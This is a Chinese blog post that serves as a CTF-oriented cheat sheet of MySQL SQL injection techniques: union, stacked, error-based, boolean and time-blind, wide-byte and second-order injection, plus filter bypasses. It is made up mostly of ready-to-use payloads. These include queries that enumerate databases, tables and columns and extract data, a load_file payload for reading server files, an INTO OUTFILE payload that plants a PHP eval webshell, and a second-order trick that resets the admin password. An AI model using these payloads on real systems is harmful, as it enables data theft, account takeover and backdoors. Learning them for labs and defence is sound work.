一文总结常见SQL注入

2024.10.10更新

观前须知

本文主要是对SQL注入进行一个总结整理,所讲并不是非常详细,0基础新手推荐浏览学习参考中的其他文章

在本文中,#号前面两个空格后面一个空格的这种形式是笔者对于代码的注释,跟代码本身无关,代码本身注释的#号前仅有零至一个空格

前置知识

MySQL四个基本数据库

  1. Mysql
  2. sys
  3. Information_schema
  4. performance_schema

这四个是mysql的基本数据库,安装时自带,是mysql自己使用的数据库

大小包含关系

行(元组,或记录) < 列(或字段) < 表 < 数据库

重要表

  1. Information_schema库下的三个重要的表

  2. Information_schema.schemata表 ----> 提供当前mysql实例中所有数据库信息

  3. Information_schema.tables表 ----> 提供当前数据库中的表的信息

  4. Information_schema.columns表 ----> 提供目标表中的列信息

重要列(或字段)

  1. table_name
  2. table_schema
  3. column_name
  4. schema_name

注入点分类

  1. get注入
    在get传参时写入参数,将SQL语句闭合,后面加写入自己的SQL语句。

  2. post注入
    通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。

  3. cookie注入

    有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。

  4. Referer注入
    Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。

  5. XFF注入
    在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注册的时候,如果存在安全隐 患,会出现错误页面或者报错。从而导致注册或者登录用户失败。

常用语句、函数解释

select version()  # 查数据库版本
select database()  # 查数据库名字
select user()  # 查数据库用户名
select @@version_compile_os  # 查操作系统
count()  # 返回行数
mid()  # 从某文本字段提取字符,MySql中使用
SubString(字段,start,end)  # 从字段中从start至end提取字符
group_concat(xxx)  # 查询所有xxx并用分号间隔拼接
system_user()  # 系统用户名
current_user()  # 当前用户名
session_user()  # 连接数据库用户名
limit 1,1  # 表示读取序号1到1的数据

SQL通配符

  1. %代替0至多个字符
  2. _代替一个字符
  3. [charlist]字符列中任意单一字符
  4. [^charlist][!charlist]不在字符列中的
  5. like若其后面没有通配符,等效于"="

联合注入

原理及核心

利用union进行SQL语句拼接以执行想要执行的命令

基本条件

  1. union未被过滤,或即使被过滤但仍能绕过

  2. 页面有结果回显位

基础流程

判断注入点及注入类型

判断是那种类型的注入点,常见的是GET和POST注入

判断是字符型还是数字型注入

其中字符型注入,一般用' " ') ")等符号闭合

判断联合注入所需字段数

常用order by

示例:

order by 3

判断回显点

即在什么位置可以显示出查询的数据

查询数据库名

示例:

union select 1,database(),3,...

查询表名

示例:

union select 1,2,group_concat(table_name),... from information_schema.tables where table_schema=<库名>

查询表中字段(列)

示例:

union select 1,2,group_concat(column_name),... from information_schema.columns where table_name=<表名>

查询目标字段的具体记录(目标数据)

示例:

union select 1,2,group_concat(<列名>),... from <表名>

堆叠注入(writing)

原理及核心

MySQL数据库SQL语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条SQL语句后继续构造下一条语句,是否会一起执行?
因此这个想法也就造就了堆叠注入

其核心在于多条SQL语句通过分号分隔进行命令执行

基本条件

  1. 分号未被过滤,或即使被过滤但仍能绕过

  2. 目标中间层查询数据库信息时可同时执行多条SQL语句

    例如使用了mysqli_multi_query()函数

  3. 页面有结果回显位

基础流程

查询数据库名

示例:

show databases;#

查询表名

示例:

show tables;#

查询表中字段(列)

示例:

show columns from <表名>;#

倘若表名为数字,注意需要用 `来闭合包裹

查询目标字段的具体记录(目标数据)

(1)改名已有名称,让现有select帮我们查询

参见题目[强网杯 2019]随便注

示例:

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#

其中,

1';  # 闭合前语句
RENAME TABLE `words` TO `words1`;  # 将表words改名为words1
RENAME TABLE `1919810931114514` TO `words`;  # 将表1919810931114514改名为words
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100);  # 改变words表中flag列的名称和数据类型,新的列将以id命名,并且数据类型将是VARCHAR(100)
show columns from words;  # 展示words表中的所有列的信息

这样子,原有select本来是查询id的数据,现在就变为查询flag的数据了

(2)利用concat拼接

示例:

1';seT @a = CONCAT('se','lect * from `1919810931114514`;'); prepare flag from @a;EXECUTE flag;#

又或者是

使用hex对

select * from ` 1919810931114514 `

进行编码

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

其中prepare中的flag和execsql均为代称


报错注入(writing)

原理及核心

通过注入恶意代码,触发数据库的错误响应,并从错误信息中获取有用的信息

基本条件

  1. floor() extractvalue() updatexml()未被全过滤,或被过滤但可以绕过

  2. 页面有报错回显

floor()报错注入

大致格式

'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足够大的表" group by x)a--+

查询数据库名

示例:

1' and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

PS:0x23即16进制的#号,主要作用是便于观察查询的数据

查询表名

示例:

1' and (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema=<库名>),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

查询表中字段(列)

示例:

1' and (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema=<库名> and table_name=<表名>),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

倘若表名为数字,注意需要用 `来闭合包裹

查询目标字段的具体记录(目标数据)

1' and (select 1 from (select count(*),concat(0x23,(select <字段名> from <库名>.<表名>),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

extractvalue() 和 updatexml()报错注入

extractvalue() 和 updatexml()的相同与区别

从 MySQL5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue() 和 updatexml()

extractvalue() 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml() 则负责修改查询到的内容

updatexml使用三个参数,extractvalue只有两个参数

它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里

'~'不是xml实体,所以会报错

查询数据库名

示例:

1' and (select updatexml(1,concat(0x23,(select database())),0x23))--+

查询表名

示例:

1' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+

PS:0x7e即~的16进制写法,效果与0x23一样,只是作为易识别的标识,换成0x24(即$)亦可

同时这里使用group_concat()一次性查完所有数据

查询表中字段(列)

示例:

1' and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails')),0x7e))--+

查询目标字段的具体记录(目标数据)

示例:

1' and (select updatexml(1,concat(0x7e,(select group_concat(email_id)from security.emails)),0x7e))--+

布尔盲注(writing)


原理及核心

盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False

通过length函数 判断数据库长度和数据表字段信息数量。

通过substr、ascii函数 判断数据库名、表名、字段值等。

基本条件

  1. length() substr() ascii()未被过滤,或被过滤但可以绕过
  2. 页面有正确或错误的回显提示

基础流程

判断数据库长度

示例:

' and length(database()) = 8 --+  # 判断数据库大小是否为8

依次判断数据库每一位的字符以获取数据库名

示例:

' and substr(database(),1,1) = 's' --+  # 判断数据库第一位的字母是否为s

判断表的长度

示例:

'and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+  # 获取第一个表名长度是否为6
'and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8--+  # 获取第一个表名长度是否为8

依次判断表每一位的字符以获取表名

示例:

'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=117--+  # 获取第一个表的第一个字符的ascii码值是否为117
'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=117--+  # 获取第二个表的第二个字符的ascii码值是否为117

判断字段(列)长度

示例:

'and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=6--+

依次判断字段(列)每一位的字符以获取字段(列)名

示例:

'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117--+  # 判断字段长度名称第一个字母的ascii
'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115--+  # 判断第二位长度名称第一个字母的ascii

时间盲注(writing)


原理及核心

如论我们输入的语句是否合法,页面的显示信息是固定的,即不会出现查询的信息,也不会出现报错信息。可以尝试基于时间的盲注来测试。根据页面响应的时间,来判断输入的信息是否正确。
在可以判断返回正确还是错误的情况下,两种注入方法都可以用,延时注入更倾向于无法判断正误,通过自己构造页面刷新时间来判断正误。

if(条件,A,B)如果条件成立执行A 否则执行B

基本格式

' and if ((ascii(substr(database(),1,1))>50),sleep(3),1) –-+

宽字节注入

其实这更偏向于一种绕过手段而非独立的注入类型

原理及核心

前提须知

  1. GBK 是占两个字节(也就是名叫宽字节,只要字节大于1的都是)
  2. ASCII 占一个字节
  3. PHP中编码为GBK ,函数执行添加的是ASCII编码,mysql默认字符集是GBK等宽字节字符集

漏洞成因

  1. 比如使用%df':会被PHP当中的addslashes函数转义为%df\'
  2. \即url里面的%5c, '对应的url编码是%27,那么也就是说,%df会被转义%df%5c%27
  3. 倘若网站的字符集是GBK,MySQL使用的编码也是GBK的话,就会认为%df%5c%27是一个宽字节
  4. %df%5c会结合(因为宽字节是占两个字节),也就是 。后面就有一个'。就造成了一个攻击效果。

此外

  1. 不仅仅只是使用%df' 进行宽字节绕过也可以使用其他的宽字节,只有满足字符串编码的要求

  2. 常见使用的宽字节就是%df,其实当我们输入第一个ascill大于128就可以,转换是将其转换成16进制,比如129转换0x81,然后在前面加上%就是%81

  3. GBK首字节对应0x81-0xfe(129-239), 尾字节对应0x40-0xfe(64-126)(除了0x7f)

  4. 比如一些 %df' %81' %82' %de'等等(只要满足上面的要求即可)

基本条件

使用了addslasehes() mysql_real_escape_string()转义函数


二次注入

原理及核心

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高

普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询

在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就形成了二次注入。

基本条件

  1. 用户可向数据库插入恶意语句

  2. 数据库直接取出恶意数据给用户

大致过程

  1. 插入1‘#
  2. 转义成1\’#
  3. 不能注入,但是保存在数据库时变成了原来的1’#
  4. 利用1’#进行注入,这里利用时要求取出数据时不转义

基本流程

参见题目sqli-lab24

向数据库中插入恶意代码

例如:

注册admin '#用户

让服务器取出恶意数据并利用

例如:

对于这段密码更新的SQL语句

UPDATE users SET PASSWORD='$new_pass' where username='$username' and password='$curr_pass';

修改admin '#的账户密码,因为取出的数据未被转义,结果变成了

UPDATE users SET PASSWORD='$new_pass' where username='admin '#' and password='$curr_pass';

此时修改的其实是admin的密码,在where关键词后,对于输入的密码是否与原密码的判断被#注释掉了,导致即使不知道admin的原密码,却仍然修改成功


文件读写

基本条件

  1. 当前用户有权限读取写入文件,数据库用户有FILE权限,File_priv为yes
  2. 文件大小小于max_sllowed_packet限制
  3. secure_file_priv值为空(若值为某目录,只能对该目录的文件操作)
  4. 可以获取文件路径

文件读取

利用函数

load_file(<文件路径>)

基本格式

1' union select 1,2,load_file('<文件路径>');#  # 注意转义问题

文件写入

利用函数

into Outfile  # 能写入多行,按格式输出
into Dumpfile  # 只能写入一行且没有输出格式

PS:若magic_quotes_gpc = On' " \ 和NULL字符\0会被反斜杠转义,需要考虑编码或宽字节绕过

基本格式

1' union select 1,'<?php eval($_REQUEST[123]); ?>',3 into outfile '<文件路径>';#

一些过滤的应对措施

特定字符串匹配置空

双写绕过

空格过滤

Tab %0a /**/ ()等代替

引号过滤

利用hex转16进制绕过

or、and过滤

||&&代替

等号绕过

like代替

regexp正则匹配替代

> <等效代替

关键词绕过

/**/ <> %0a 隔断

大小写替换

注释绕过

换行符

分号过滤

通过delimiter关键字修改结束符

逗号过滤

对于`substr()`和`mid()`可用`from to`
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
对于`limit`可用`offset`
select * from news limit 0,1
等价于
select * from news limit 1 offset 0
union select 1,2
等价于
union select * from (select 1)a join (select 2)b
select ascii(mid(user(),1,1))=80
等价于
select user() like 'r%'

通用绕过

编码绕过,例如ASCII,HEX,unicode

等价函数绕过

hex(),bin() <---> ascii()
sleep() <---> benchmark()
concat() <---> group_concat()
mid(),substr() <---> substring()

盲注时select被过滤

delete from flag where data like 'f%' and sleep(5)

杂项

  • 通过system关键字可以进行RCE
  • select过滤有时可用handler代替

参考

  1. 从0到1,SQL注入(sql十大注入类型)收藏这一篇就够了,技术解析与实战演练 - FreeBuf网络安全行业门户
  2. SQL注入一些过滤及绕过总结
  3. SQL注入Bypass
  4. 【超详细版】SQL注入原理及思路绕过(看这篇就够了)_sql注入order by绕过-CSDN博客
  5. SQL注入之盲注(布尔盲注和时间盲注)_布尔盲注流程-CSDN博客
  6. SQL注入进阶之路-针对堆叠注入的研究 - mi2ac1e - 博客园 (cnblogs.com)
  7. 最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结_报错注入payload-CSDN博客
  8. SQL注入之宽字节注入演示(详细介绍宽字节)_sqlmap宽字节注入脚本、-CSDN博客
  9. 【CTF】二次注入原理及实战-CSDN博客
  10. 【SQL注入-文件读写】文件的读取+写入:函数、使用方法_sql注入读文件-CSDN博客
  11. SQL盲注(原理概述、分类)-CSDN博客
  12. SQL注入针对关键字过滤的绕过技巧 - zu1k
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇